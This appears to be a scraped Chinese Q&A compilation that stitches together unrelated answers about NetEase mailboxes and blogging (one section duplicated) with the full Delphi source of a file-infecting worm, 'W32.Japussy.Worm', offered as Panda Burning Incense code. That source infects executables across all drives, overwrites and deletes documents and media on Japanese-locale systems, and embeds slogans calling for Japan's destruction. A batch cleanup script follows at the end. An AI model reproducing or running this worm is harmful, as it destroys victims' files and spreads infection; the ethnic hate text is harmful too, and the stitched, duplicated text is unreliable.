163注册源码(163网易邮箱注册申请 免费注册)

网易的163邮箱和126邮箱有什么区别哪个更好

163邮箱和126邮箱虽都是网易推出但还是有如下区别：

1、163邮箱和126邮箱两者推出的时间不同。163邮箱是2000年10月，网易推出的免费邮箱；而126邮箱则是网易公司于2001年11月推出的免费的电子邮箱。

2、163邮箱和126邮箱两者速度、引擎不同。163邮箱是采用国际领先的分布式系统引擎，确保用户读信、写信、收信等操作过程的响应时间减少一半以上。126邮箱采用国家骨干网，内核配备DIV+JS引擎，极大提高邮箱页面访问速度，有效缩短等待时间，使得收发邮件更为快捷。

3、163邮箱和126邮箱发展历程不同。2000年10月网易推出163免费邮箱，2001年11月，163邮箱升级至25MB，为当时国内最大容量，2003年5月，网易163邮箱市场占有率跃居全国第一。

126邮箱是网易公司于2001年11月推出，并倾力打造的专业电子邮局，126免费邮拥有3G超大存储空间，支持超大2G附件，采用了创新Ajax技术，同等网络环境下，页面响应时间最高减少90%，垃圾邮件及病毒有效拦截率超过98%和99.8%。

博客 是干什么的有何作用怎么注册

博客就是展现你自己的舞台．．．

要明白什么是博客,最简单的方法就是:先看看别人的博客是什么样子的?让我们先举个例,比方说前阵子开始红遍半边天的达贝妮（香港米兰站）,她的博客地址是: benny.xiaocc.com,点击去她的博客瞧瞧后，再回来接着看下面详细的说明，当然，实践出真知，你也可以花一点点时间注册然后亲自使用你自己的一个博客（点这里可以去免费注册的），试一下就更有体会了．

什么是博客？

有人说互联网正在经历一场类似纸张的出现给社会带来的那样的变革，随着一种新的信息管理和发布工具逐渐被大家认识和使用，互联网的“个人舞台”时代已经迎面走来，这种新的信息组织和传播方式，就是 Blog。

Blog简单来说是“ Web log”的缩写，中文把 Blog译为“网志”、把写 Blog的“ Blogger”译为“博客”。

著名中文 Blog介绍者毛向辉曾经这样问他朋友：“你还记得自己 100天前在做什么吗？如果你写 Blog，就可以知道那段时间发生的最重要的事情。”这个简单的问题正是 blog最基础的一个功能：网络日志。但 Blog又远远不同于简单的“日志”——每个 Blog因为内容和目的不同从而蕴藏了大量的各种丰富的信息，同时也产生了一种新的“网络社会关系”。由于 Blog有两大重要的功能 RSS和 Trackback：通过 RSS可以及时的看到自己关注的站点的更新，通过 Trackback则可以得到对方引用了自己文章内容的反馈通知，同时得到反馈信息进行很多互动的思想交流和学习，并且 Blog之间的相互链接可以看到其他到志趣相投的 blog，这样实际上 Blog这个载体完全实现了网络的“社会化关系”。也正是因此， Blog成为社会性软件（ Social Software）的重要组成部分。

因为 Blog是基于个人信息的发布平台，也自然成为一种新的媒体发布形式。 Blog的出现，使得出版成为个人行为，实现了个人出版的自由。有人说 Blog是“通向个人媒体 3.0时代”，就是以 Blog为趋势的自媒体（ Me media）。

简单的一点的 Blog记载了日常发生的事情和自己的兴趣爱好，把自己的思想和知识和他人分享、交流，同时又通过“六度空间”结识了更多志趣相投的朋友；而越来越多专业知识的 Blog的出现，让我们看到了 Blog更多所蕴涵的巨大的信息价值：不同的 Blog选择不同的内容，收集和整理成为很多人关注的专业 Blog——目前越来越多的人获取信息的来源是一些固定的 Blog。而 Google去年收购了 Blogger.com，也正是因为 Blog包涵了海量的价值信息。我们用搜索引擎搜某个博客的名字，搜索结果的第一条往往就是他的 Blog。

随着博客人数的增加， Blog作为一种新的生活方式、新的工作方式、新的学习方式已经被越来越多的人所接受，并且在改变传统的网络和社会结构：网络信息不再是虚假不可验证的，交流和沟通更有明确的选择和方向性，单一的思想和群体的智慧结合变的更加有效，个人出版变成人人都可以实现的梦想—— Blog正在影响和改变着我们的生活。

中文 Blog的发展刚刚开始，我们已经迎来了个人舞台的时代。

“什么是博客”成为2004年各大搜索引擎最热门的搜索关键词之一【百度搜索引擎中的相关检索关键词还有“什么叫博客”、“博客是什么意思”、“博客中国”等】，同时博客也被众多机构和媒体评为2004年最热门的互联网现象。BLOG也就是WEB LOG的缩写简单来说就是网络日记。国内外众多媒体和网站都将BLOG作为2004年最热门的词汇，关于BLOG（博客）的介绍文章，网上已经非常多了，这里简单摘录部分的介绍。

下面摘录博客中国发起人、“博客”中文译文的创始人方兴东博士有关博客发展简史和基本史实的文章，有兴趣进一步了解的，可以参考一下。原文的发表日期大约是2002年8月，在博客中国网站刚发布不久。

博客发展简史和基本史实（www.blogchina.com方兴东）

谁是博客之父？

博客的出现才是近几年的事情，但是要书写博客历史，却不是一件轻松的事情。许多史料必须像挖掘“古董”一样去求证，而且分歧和争议颇多。比如谁是“博客之父”？这个问题想要有一个明确的答案是不可能的，因为牵涉到许多大名鼎鼎的人物。

最早的博客原型

首先，哪一个是最早的博客网站？显然最早的博客是作为网络“过滤器”的作用出现的，那就是挑选一些特别的网站，并作简单的介绍。因此有人认为浏览器发明人Marc Andreesen开发的Mosaic的What’s New网页就是最早的博客网页。Justin Hall的黑社会链接网页（）也是最早的博客网站原型之一。

最早的博客预言家

其次，谁是最早的博客命名人？著名科幻作家William Gibson在1996年预言了职业博客（）：“用不了多久就会有人为你浏览网络，精选内容，并以此为生，的确存在着这样的需求”。

最早的博客

Userland公司CEO Dave Winer，在1997年开始运作的Scripting News（www.scripting.com）开始真正具备了博客的基本重要特性。并且他将这些功能集成到免费软件“Frontier脚本环境”。不过，这个算不算是真正的最早博客，争议颇多。有人认为，从形式上说，是Jorn Barger于1997年底建立了今天博客网站的基本模样（当时的原始模样可以上网看到：）。

网管人员使用log（log files）来指称“系统记录文件”，因此几年前如果你用google来查weblog，查出来大多都是例如Seacloak这种网站流量分析软件，而不像今天真正的weblog。

最早使用“weblog”词汇

1997年12月，Jorn Barger运行的“Robot Wisdom Weblog”（）第一次使用weblog这个正式的名字。至今，在博客领域，他还是一位非常有影响力的人物。Jorn Barger的贡献主要体现在形式上，他将log的意义从接近航海日志那种无人称、拟客观、机械式写作，转换成较接近旅游日志的“有人称、有个性”的自由书写。由Matt Haughey发起的社区博客网站Metafilter虽然被人广为批评，但是很长一段时间里，它的确是比其他博客网站更有意思。

怎样制作博客

建立一个博客一般有两种途径，一是自己的域名和空间独立博客，另外就是选择服务商提供的博客托管。

如果选择第一种，可以到这里（）选择一种适合你的blog程序，按照帮助信息来操作就可以了。

如果你选择托管服务商，那么到（）来选择一个合适的blog服务商。

目前几大门户都有自己的blog托管服务，比如新浪的搜狐的网易的 Tom的

之前我对这些网站做过测试，认为搜狐的博客托管比较好。所以我的blog也放在搜狐（）。

参考资料：

博客就是展现你自己的舞台．．．

要明白什么是博客,最简单的方法就是:先看看别人的博客是什么样子的?让我们先举个例,比方说前阵子开始红遍半边天的达贝妮（香港米兰站）,她的博客地址是: benny.xiaocc.com,点击去她的博客瞧瞧后，再回来接着看下面详细的说明，当然，实践出真知，你也可以花一点点时间注册然后亲自使用你自己的一个博客（点这里可以去免费注册的），试一下就更有体会了．

什么是博客？

有人说互联网正在经历一场类似纸张的出现给社会带来的那样的变革，随着一种新的信息管理和发布工具逐渐被大家认识和使用，互联网的“个人舞台”时代已经迎面走来，这种新的信息组织和传播方式，就是 Blog。

Blog简单来说是“ Web log”的缩写，中文把 Blog译为“网志”、把写 Blog的“ Blogger”译为“博客”。

著名中文 Blog介绍者毛向辉曾经这样问他朋友：“你还记得自己 100天前在做什么吗？如果你写 Blog，就可以知道那段时间发生的最重要的事情。”这个简单的问题正是 blog最基础的一个功能：网络日志。但 Blog又远远不同于简单的“日志”——每个 Blog因为内容和目的不同从而蕴藏了大量的各种丰富的信息，同时也产生了一种新的“网络社会关系”。由于 Blog有两大重要的功能 RSS和 Trackback：通过 RSS可以及时的看到自己关注的站点的更新，通过 Trackback则可以得到对方引用了自己文章内容的反馈通知，同时得到反馈信息进行很多互动的思想交流和学习，并且 Blog之间的相互链接可以看到其他到志趣相投的 blog，这样实际上 Blog这个载体完全实现了网络的“社会化关系”。也正是因此， Blog成为社会性软件（ Social Software）的重要组成部分。

因为 Blog是基于个人信息的发布平台，也自然成为一种新的媒体发布形式。 Blog的出现，使得出版成为个人行为，实现了个人出版的自由。有人说 Blog是“通向个人媒体 3.0时代”，就是以 Blog为趋势的自媒体（ Me media）。

简单的一点的 Blog记载了日常发生的事情和自己的兴趣爱好，把自己的思想和知识和他人分享、交流，同时又通过“六度空间”结识了更多志趣相投的朋友；而越来越多专业知识的 Blog的出现，让我们看到了 Blog更多所蕴涵的巨大的信息价值：不同的 Blog选择不同的内容，收集和整理成为很多人关注的专业 Blog——目前越来越多的人获取信息的来源是一些固定的 Blog。而 Google去年收购了 Blogger.com，也正是因为 Blog包涵了海量的价值信息。我们用搜索引擎搜某个博客的名字，搜索结果的第一条往往就是他的 Blog。

随着博客人数的增加， Blog作为一种新的生活方式、新的工作方式、新的学习方式已经被越来越多的人所接受，并且在改变传统的网络和社会结构：网络信息不再是虚假不可验证的，交流和沟通更有明确的选择和方向性，单一的思想和群体的智慧结合变的更加有效，个人出版变成人人都可以实现的梦想—— Blog正在影响和改变着我们的生活。

中文 Blog的发展刚刚开始，我们已经迎来了个人舞台的时代。

“什么是博客”成为2004年各大搜索引擎最热门的搜索关键词之一【百度搜索引擎中的相关检索关键词还有“什么叫博客”、“博客是什么意思”、“博客中国”等】，同时博客也被众多机构和媒体评为2004年最热门的互联网现象。BLOG也就是WEB LOG的缩写简单来说就是网络日记。国内外众多媒体和网站都将BLOG作为2004年最热门的词汇，关于BLOG（博客）的介绍文章，网上已经非常多了，这里简单摘录部分的介绍。

下面摘录博客中国发起人、“博客”中文译文的创始人方兴东博士有关博客发展简史和基本史实的文章，有兴趣进一步了解的，可以参考一下。原文的发表日期大约是2002年8月，在博客中国网站刚发布不久。

博客发展简史和基本史实（www.blogchina.com方兴东）

谁是博客之父？

博客的出现才是近几年的事情，但是要书写博客历史，却不是一件轻松的事情。许多史料必须像挖掘“古董”一样去求证，而且分歧和争议颇多。比如谁是“博客之父”？这个问题想要有一个明确的答案是不可能的，因为牵涉到许多大名鼎鼎的人物。

最早的博客原型

首先，哪一个是最早的博客网站？显然最早的博客是作为网络“过滤器”的作用出现的，那就是挑选一些特别的网站，并作简单的介绍。因此有人认为浏览器发明人Marc Andreesen开发的Mosaic的What’s New网页就是最早的博客网页。Justin Hall的黑社会链接网页（）也是最早的博客网站原型之一。

最早的博客预言家

其次，谁是最早的博客命名人？著名科幻作家William Gibson在1996年预言了职业博客（）：“用不了多久就会有人为你浏览网络，精选内容，并以此为生，的确存在着这样的需求”。

最早的博客

Userland公司CEO Dave Winer，在1997年开始运作的Scripting News（www.scripting.com）开始真正具备了博客的基本重要特性。并且他将这些功能集成到免费软件“Frontier脚本环境”。不过，这个算不算是真正的最早博客，争议颇多。有人认为，从形式上说，是Jorn Barger于1997年底建立了今天博客网站的基本模样（当时的原始模样可以上网看到：）。

网管人员使用log（log files）来指称“系统记录文件”，因此几年前如果你用google来查weblog，查出来大多都是例如Seacloak这种网站流量分析软件，而不像今天真正的weblog。

最早使用“weblog”词汇

1997年12月，Jorn Barger运行的“Robot Wisdom Weblog”（）第一次使用weblog这个正式的名字。至今，在博客领域，他还是一位非常有影响力的人物。Jorn Barger的贡献主要体现在形式上，他将log的意义从接近航海日志那种无人称、拟客观、机械式写作，转换成较接近旅游日志的“有人称、有个性”的自由书写。由Matt Haughey发起的社区博客网站Metafilter虽然被人广为批评，但是很长一段时间里，它的确是比其他博客网站更有意思。

怎样制作博客

建立一个博客一般有两种途径，一是自己的域名和空间独立博客，另外就是选择服务商提供的博客托管。

如果选择第一种，可以到这里（）选择一种适合你的blog程序，按照帮助信息来操作就可以了。

如果你选择托管服务商，那么到（）来选择一个合适的blog服务商。

目前几大门户都有自己的blog托管服务，比如新浪的搜狐的网易的 Tom的

之前我对这些网站做过测试，认为搜狐的博客托管比较好。所以我的blog也放在搜狐（）。

参考资料：

谁有熊猫烧香的源代码,给我发一份

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize= 82432;//病毒体的大小

IconOffset=$12EB8;//PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize= 38912;//Upx压缩过病毒体的大小

IconOffset=$92BC;//Upx压缩过PE文件主图标的偏移量

//Upx 1.24W用法: upx-9--8086 Japussy.exe

}

IconSize=$2E8;//PE文件主图标的大小--744字节

IconTail= IconOffset+ IconSize;//PE文件主图标的尾部

ID=$44444444;//感染标记

//垃圾码，以备写入

Catchword=''''''''''''''''If a race need to be killed out, it must be Yamato.''''''''''''''''+

''''''''''''''''If a country need to be destroyed, it must be Japan!''''''''''''''''+

''''''''''''''''*** W32.Japussy.Worm.A***'''''''''''''''';

{$R*.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external''''''''''''''''Kernel32.dll'''''''''''''''';//函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean= False;//日文操作系统标记

{判断是否为Win9x}

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result:= False;

Ver.dwOSVersionInfoSize:= SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if(Ver.dwPlatformID= VER_PLATFORM_WIN32_WINDOWS) then//Win9x

Result:= True;

end;

{在流之间复制}

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos:= Src.Position;

dCurPos:= Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{将宿主文件从已感染的PE文件中分离出来，以备使用}

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream:= TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream:= TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(HeaderSize, 0);//跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size- HeaderSize);

finally

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{填充STARTUPINFO结构}

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Si.cb:= SizeOf(Si);

Si.lpReserved:= nil;

Si.lpDesktop:= nil;

Si.lpTitle:= nil;

Si.dwFlags:= STARTF_USESHOWWINDOW;

Si.wShowWindow:= State;

Si.cbReserved2:= 0;

Si.lpReserved2:= nil;

end;

{发带毒邮件}

procedure SendMail;

begin

//哪位仁兄愿意完成之？

end;

{感染PE文件}

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try//出错则文件正在被使用，退出

if CompareText(FileName,''''''''''''''''JAPUSSY.EXE'''''''''''''''')= 0 then//是自己则不感染

Exit;

Infected:= False;

IsPE:= False;

SrcStream:= TFileStream.Create(FileName, fmOpenRead);

try

for i:= 0 to$108 do//检查PE文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if(Buf[0]=#80) and(Buf[1]=#69) then//PE标记

begin

IsPE:= True;//是PE文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd);//检查感染标记

SrcStream.Read(iID, 4);

if(iID= ID) or(SrcStream.Size< 10240) then//太小的文件不感染

Infected:= True;

finally

SrcStream.Free;

end;

if Infected or(not IsPE) then//如果感染过了或不是PE文件则退出

Exit;

IcoStream:= TMemoryStream.Create;

DstStream:= TMemoryStream.Create;

try

aIcon:= TIcon.Create;

try

//得到被感染文件的主图标(744字节)，存入流

aIcon.ReleaseHandle;

aIcon.Handle:= ExtractIcon(HInstance, PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream:= TFileStream.Create(FileName, fmOpenRead);

//头文件

HdrStream:= TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize- IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID:=$44444444;

DstStream.Write(iID, 4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName);//替换宿主文件

DstStream.Free;

end;

except;

end;

end;

{将目标文件写入垃圾码后删除}

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0);//去掉只读属性

FileHandle:= FileOpen(FileName, fmOpenWrite);//打开文件

try

Size:= GetFileSize(FileHandle, nil);//文件大小

i:= 0;

Randomize;

Max:= Random(15);//写入垃圾码的随机次数

if Max< 5 then

Max:= 5;

Mass:= Size div Max;//每个间隔块的大小

Len:= Length(Catchword);

while i< Max do

begin

FileSeek(FileHandle, i* Mass, 0);//定位

//写入垃圾码，将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle);//关闭文件

end;

DeleteFile(PChar(FileName));//删除之

except

end;

end;

{获得可写的驱动器列表}

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i:= 0 to 25 do//遍历26个字母

begin

D:= Chr(i+ 65);

Str:= D+'''''''''''''''':\'''''''''''''''';

DiskType:= GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if(DiskType= DRIVE_FIXED) or(DiskType= DRIVE_REMOTE) then

Result:= Result+ D;

end;

end;

{遍历目录，感染和摧毁文件}

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if(SearchRec.Attr<> 16) and(SearchRec.Name<>''''''''''''''''.'''''''''''''''') and

(SearchRec.Name<>''''''''''''''''..'''''''''''''''') then

Result:= 0//不是目录

else if(SearchRec.Attr= 16) and(SearchRec.Name<>''''''''''''''''.'''''''''''''''') and

(SearchRec.Name<>''''''''''''''''..'''''''''''''''') then

Result:= 1//不是根目录

else Result:= 2;//是根目录

end;

begin

if(FindFirst(Path+ Mask, faAnyFile, SearchRec)= 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE);//调整消息队列，避免引起怀疑

if IsValidDir(SearchRec)= 0 then

begin

Fn:= Path+ SearchRec.Name;

Ext:= UpperCase(ExtractFileExt(Fn));

if(Ext=''''''''''''''''.EXE'''''''''''''''') or(Ext=''''''''''''''''.SCR'''''''''''''''') then

begin

InfectOneFile(Fn);//感染可执行文件

end

else if(Ext=''''''''''''''''.HTM'''''''''''''''') or(Ext=''''''''''''''''.HTML'''''''''''''''') or(Ext=''''''''''''''''.ASP'''''''''''''''') then

begin

//感染HTML和ASP文件，将Base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之？

end

else if Ext=''''''''''''''''.WAB'''''''''''''''' then//Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext=''''''''''''''''.ADC'''''''''''''''' then//Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext=''''''''''''''''IND'''''''''''''''' then//Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then//是倭文操作系统

begin

if(Ext=''''''''''''''''.DOC'''''''''''''''') or(Ext=''''''''''''''''.XLS'''''''''''''''') or(Ext=''''''''''''''''.MDB'''''''''''''''') or

(Ext=''''''''''''''''.MP3'''''''''''''''') or(Ext=''''''''''''''''.RM'''''''''''''''') or(Ext=''''''''''''''''.RA'''''''''''''''') or

(Ext=''''''''''''''''.WMA'''''''''''''''') or(Ext=''''''''''''''''.ZIP'''''''''''''''') or(Ext=''''''''''''''''.RAR'''''''''''''''') or

(Ext=''''''''''''''''.MPEG'''''''''''''''') or(Ext=''''''''''''''''.ASF'''''''''''''''') or(Ext=''''''''''''''''.JPG'''''''''''''''') or

(Ext=''''''''''''''''.JPEG'''''''''''''''') or(Ext=''''''''''''''''.GIF'''''''''''''''') or(Ext=''''''''''''''''.SWF'''''''''''''''') or

(Ext=''''''''''''''''.PDF'''''''''''''''') or(Ext=''''''''''''''''.CHM'''''''''''''''') or(Ext=''''''''''''''''.AVI'''''''''''''''') then

SmashFile(Fn);//摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑

Sleep(200);

until(FindNext(SearchRec)<> 0);

end;

FindClose(SearchRec);

SubDir:= TStringList.Create;

if(FindFirst(Path+''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec)= 0) then

begin

repeat

if IsValidDir(SearchRec)= 1 then

SubDir.Add(SearchRec.Name);

until(FindNext(SearchRec)<> 0);

end;

FindClose(SearchRec);

Count:= SubDir.Count- 1;

for i:= 0 to Count do

LoopFiles(Path+ SubDir.Strings+''''''''''''''''\'''''''''''''''', Mask);

FreeAndNil(SubDir);

end;

{遍历磁盘上所有的文件}

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP= 932 then//日文操作系统

IsJap:= True;//去死吧！

DriverList:= GetDrives;//得到可写的磁盘列表

Len:= Length(DriverList);

while True do//死循环

begin

for i:= Len downto 1 do//遍历每个磁盘驱动器

LoopFiles(DriverList+'''''''''''''''':\'''''''''''''''',''''''''''''''''*.*'''''''''''''''');//感染之

SendMail;//发带毒邮件

Sleep(1000* 60* 5);//睡眠5分钟

end;

end;

{主程序开始}

begin

if IsWin9x then//是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1)//注册为服务进程

else//WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之？

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)),''''''''''''''''Japussy.exe'''''''''''''''')= 0 then

InfectFiles//感染和发邮件

else//已寄生于宿主程序上了，开始工作

begin

TmpFile:= ParamStr(0);//创建临时文件

Delete(TmpFile, Length(TmpFile)- 4, 4);

TmpFile:= TmpFile+#32+''''''''''''''''.exe'''''''''''''''';//真正的宿主文件，多一个空格

ExtractFile(TmpFile);//分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil,''''''''''''''''.'''''''''''''''', Si, Pi);//创建新进程运行之

InfectFiles;//感染和发邮件

end;

end.

请转帖的朋友标明出处 www.honkercn.net

以下为清除威金、熊猫烧香病毒的批处理

@echo off

title清除威金（logo_1,熊猫烧香）病毒最新变种工具

@echo清除VIKING病毒最新变种工具

pause

if exist%windir%\rundl132.exe echo---报告老大，发现有威金病毒埋伏!让我来干掉它-----

if exist%windir%\logo_1.exe echo---报告老大，发现有威金病毒埋伏!让我来干掉它-----

//杀viking进程

tskill logo_1

tskill rundl132

tskill zt

tskill wow

tskill logo1_

tskill Ravmon

tskill Eghost

tskill Mailmon

tskill KAVPFW

tskill IPARMOR

tskill Ravmond

taskkill/f/im 0sy.exe

taskkill/f/im 1sy.exe

taskkill/f/im 2sy.exe

taskkill/f/im 3sy.exe

taskkill/f/im 4sy.exe

taskkill/f/im 5sy.exe

taskkill/f/im 6sy.exe

taskkill/f/im 7sy.exe

taskkill/f/im 8sy.exe

taskkill/f/im 9sy.exe

//删除木马

del d:\_desktop.ini/f/s/q/a

del c:\Program Files\_desktop.ini

del%Windir%\MickNew\MickNew.dll

del%Windir%\MH_FILE\MH_DLL.dll

del%Windir%\_desktop.ini

del%Windir%\TODAYZTKING\TODAYZTKING.DLL

attrib-h-r-s c:\go.exe

del c:\go.exe

del c:\setup.exe

attrib-h-s-r c:\autorun.inf

del c:\autorun.inf

attrib-h-r-s d:\go.exe

del d:\go.exe

del d:\setup.exe

attrib-h-s-r d:\autorun.inf

del d:\autorun.inf

del e:\setup.exe

attrib-h-r-s e:\go.exe

del e:\go.exe

attrib-h-s-r e:\autorun.inf

del e:\autorun.inf

attrib-h-r-s f:\go.exe

del f:\go.exe

del f:\setup.exe

attrib-h-s-r f:\autorun.inf

del f:\autorun.inf

attrib-h-r-s g:\go.exe

del g:\go.exe

del g:\setup.exe

attrib-h-s-r g:\autorun.inf

del g:\autorun.inf

del h:\go.exe

del h:\setup.exe

attrib-h-s-r g:\autorun.inf

del h:\autorun.inf

del i:\go.exe

attrib-h-s-r g:\autorun.inf

del i:\autorun.inf

del i:\setup.exe

del j:\go.exe

attrib-h-s-r g:\autorun.inf

del j:\autorun.inf

del j:\setup.exe

del%windir%\system\Logo1_.exedel%windir%\system\Logo_1.exe

del%windir%\rundl132.exe

del%windir%\vDll.dll

del%windir%\Dll.dll

del%windir%\0Sy.exe

del%windir%\1Sy.exe

del%windir%\2Sy.exe

del%windir%\3Sy.exe

del%windir%\5Sy.exe

del%windir%\1.com

@echo ^_^报告老大，VIKING已经全都被处死

@echo真累哈,再给你的系统免疫下,不需要的话请直接退出

pause

//免疫系统

echo>%windir%\Logo1_.exe

echo>%windir%\rundl132.exe

echo>%windir%\0Sy.exe

echo>%windir%\vDll.dll

echo>%windir%\1Sy.exe

echo>%windir%\2Sy.exe

echo>%windir%\rundll32.exe

echo>%windir%\3Sy.exe

echo>%windir%\5Sy.exe

echo>%windir%\1.com

echo>%windir%\exerouter.exe

echo>%windir%\EXP10RER.com

echo>%windir%\finders.com

echo>%windir%\Shell.sys

echo>%windir%\kill.exe

echo>%windir%\sws.dll

echo>%windir%\sws32.dll

echo>%windir%\uninstall\rundl132.exe

echo>%windir%\SVCHOST.exe

echo>%windir%\WINLOGON.exe

echo>%windir%\RUNDLL32.EXE

echo> C:\"Program Files"\svchost.exe

echo> C:\"Program Files"\"Internet Explorer"\svchost.exe

echo>%windir%\Download\svchost.exe

echo>%windir%\system32\wldll.dll

attrib%windir%\Logo1_.exe+s+r+h

attrib%windir%\rundl132.exe+s+r+h

attrib%windir%\0Sy.exe+s+r+h

attrib%windir%\vDll.dll+s+r+h

attrib%windir%\1Sy.exe+s+r+h

attrib%windir%\2Sy.exe+s+r+h

attrib%windir%\rundll32.exe+s+r+h

attrib%windir%\3Sy.exe+s+r+h

attrib%windir%\5Sy.exe+s+r+h

attrib%windir%\1.com+s+r+h

attrib%windir%\exerouter.exe+s+r+h

attrib%windir%\EXP10RER.com+s+r+h

attrib%windir%\finders.com+s+r+h

attrib%windir%\Shell.sys+s+r+h

attrib%windir%\kill.exe+s+r+h

attrib%windir%\sws.dll+s+r+h

attrib%windir%\sws32.dll+s+r+h

attrib%windir%\uninstall\rundl132.exe+s+r+h

attrib%windir%\SVCHOST.exe+s+r+h

attrib%windir%\WINLOGON.exe+s+r+h

attrib%windir%\RUNDLL32.EXE+s+r+h

attrib C:\"Program Files"\svchost.exe+s+r+h

attrib C:\"Program Files"\"Internet Explorer"\svchost.exe+s+r+h

attrib%windir%\Download\svchost.exe+s+r+h

attrib%windir%\system32\wldll.dll+s+r+h

net share c$/del

net share d$/del

net share e$/del

net share f$/del

net share admin$/del

net share ipc$/del

cls

@echo-------------------------------------

@echo viking已经全部被我杀完拉,哈,厉害吧

@echo系统已经成功免疫!

@echo谢谢你的使用,请重启您的电脑!

@echo-------------------------------------

pause